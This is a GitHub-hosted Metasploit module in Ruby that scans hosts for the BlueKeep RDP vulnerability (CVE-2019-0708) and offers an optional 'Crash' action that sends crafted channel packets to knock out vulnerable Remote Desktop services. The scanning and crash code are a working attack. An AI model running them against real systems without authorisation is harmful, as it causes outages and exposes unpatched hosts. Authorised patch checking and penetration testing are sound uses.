forked from TinToSer/bluekeep-exploit
-
Notifications
You must be signed in to change notification settings - Fork 0
/
cve_2019_0708_bluekeep.rb
250 lines (214 loc) · 8.28 KB
/
cve_2019_0708_bluekeep.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::RDP
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check',
'Description' => %q{
This module checks a range of hosts for the CVE-2019-0708 vulnerability
by binding the MS_T120 channel outside of its normal slot and sending
non-DoS packets which respond differently on patched and vulnerable hosts.
It can optionally trigger the DoS vulnerability.
},
'Author' =>
[
'National Cyber Security Centre', # Discovery
'JaGoTu', # Module
'zerosum0x0', # Module
'Tom Sellers' # TLS support, packet documenentation, DoS implementation
],
'References' =>
[
[ 'CVE', '2019-0708' ],
[ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ]
],
'DisclosureDate' => '2019-05-14',
'License' => MSF_LICENSE,
"Actions" => [
["Scan", "Description" => "Scan for exploitable targets"],
["Crash", "Description" => "Trigger denial of service vulnerability"],
],
"DefaultAction" => "Scan",
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'AKA' => ['BlueKeep']
}
))
end
def report_goods
report_vuln(
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => self.name,
:info => 'Behavior indicates a missing Microsoft Windows RDP patch for CVE-2019-0708',
:refs => self.references
)
end
def run_host(ip)
# Allow the run command to call the check command
status = check_host(ip)
if status == Exploit::CheckCode::Vulnerable
print_good(status[1].to_s)
elsif status == Exploit::CheckCode::Unsupported # used to display custom msg error
status = Exploit::CheckCode::Safe
print_status("The target service is not running or refused our connection.")
else
print_status(status[1].to_s)
end
status
end
def rdp_reachable
rdp_connect
rdp_disconnect
return true
rescue Rex::ConnectionRefused
return false
rescue Rex::ConnectionTimeout
return false
end
def check_host(_ip)
# The check command will call this method instead of run_host
status = Exploit::CheckCode::Unknown
begin
begin
rdp_connect
rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
return Exploit::CheckCode::Unsupported # used to display custom msg error
end
status = check_rdp_vuln
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e
bt = e.backtrace.join("\n")
vprint_error("Unexpected error: #{e.message}")
vprint_line(bt)
elog("#{e.message}\n#{bt}")
rescue RdpCommunicationError
vprint_error("Error communicating RDP protocol.")
status = Exploit::CheckCode::Unknown
rescue Errno::ECONNRESET
vprint_error("Connection reset")
rescue => e
bt = e.backtrace.join("\n")
vprint_error("Unexpected error: #{e.message}")
vprint_line(bt)
elog("#{e.message}\n#{bt}")
ensure
rdp_disconnect
end
status
end
def check_for_patch
begin
6.times do
_res = rdp_recv
end
rescue RdpCommunicationError
# we don't care
end
# The loop below sends Virtual Channel PDUs (2.2.6.1) that vary in length
# The arch governs which of the packets triggers the desired response
# which is an MCS Disconnect Provider Ultimatum or a timeout.
# Disconnect Provider message of a valid size for each platform
# has proven to be safe to send as part of the vulnerability check.
x86_string = "00000000020000000000000000000000"
x64_string = "0000000000000000020000000000000000000000000000000000000000000000"
if action.name == 'Crash'
vprint_status("Sending denial of service payloads")
# Length and chars are arbitrary but total length needs to be longer than
# 16 for x86 and 32 for x64. Making the payload too long seems to cause
# the DoS to fail. Note that sometimes the DoS seems to fail. Increasing
# the payload size and sending more of them doesn't seem to improve the
# reliability. It *seems* to happen more often on x64, I haven't seen it
# fail against x86. Repeated attempts will generally trigger the DoS.
x86_string += "FF" * 1
x64_string += "FF" * 2
else
vprint_status("Sending patch check payloads")
end
chan_flags = RDPConstants::CHAN_FLAG_FIRST | RDPConstants::CHAN_FLAG_LAST
channel_id = [1005].pack('S>')
x86_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x86_string].pack("H*")), channel_id)
x64_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x64_string].pack("H*")), channel_id)
6.times do
rdp_send(x86_packet)
rdp_send(x64_packet)
# A single pass should be sufficient to cause DoS
if action.name == 'Crash'
sleep(1)
rdp_disconnect
sleep(5)
if rdp_reachable
print_error("Target doesn't appear to have been crashed. Consider retrying.")
return Exploit::CheckCode::Unknown
else
print_good("Target service appears to have been successfully crashed.")
return Exploit::CheckCode::Vulnerable
end
end
# Quick check for the Ultimatum PDU
begin
res = rdp_recv(-1, 1)
rescue EOFError
# we don't care
end
return Exploit::CheckCode::Vulnerable if res&.include?(["0300000902f0802180"].pack("H*"))
# Slow check for Ultimatum PDU. If it doesn't respond in a timely
# manner then the host is likely patched.
begin
4.times do
res = rdp_recv
# 0x2180 = MCS Disconnect Provider Ultimatum PDU - 2.2.2.3
if res.include?(["0300000902f0802180"].pack("H*"))
return Exploit::CheckCode::Vulnerable
end
end
rescue RdpCommunicationError
# we don't care
end
end
Exploit::CheckCode::Safe
end
def check_rdp_vuln
# check if rdp is open
is_rdp, version_info = rdp_fingerprint
unless is_rdp
vprint_status "Could not connect to RDP service."
return Exploit::CheckCode::Unknown
end
rdp_disconnect
rdp_connect
is_rdp, server_selected_proto = rdp_check_protocol
requires_nla = [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include? server_selected_proto
product_version = (version_info && version_info[:product_version]) ? version_info[:product_version] : 'N/A'
info = "Detected RDP on #{peer} (Windows version: #{product_version})"
service_info = "Requires NLA: #{(!version_info[:product_version].nil? && requires_nla) ? 'Yes' : 'No'}"
info << " (#{service_info})"
print_status(info)
if requires_nla
vprint_status("Server requires NLA (CredSSP) security which mitigates this vulnerability.")
return Exploit::CheckCode::Safe
end
chans = [
['cliprdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],
['rdpsnd', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
['snddbg', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],
]
success = rdp_negotiate_security(chans, server_selected_proto)
return Exploit::CheckCode::Unknown unless success
rdp_establish_session
result = check_for_patch
if result == Exploit::CheckCode::Vulnerable
report_goods
end
# Can't determine, but at least we know the service is running
result
end
end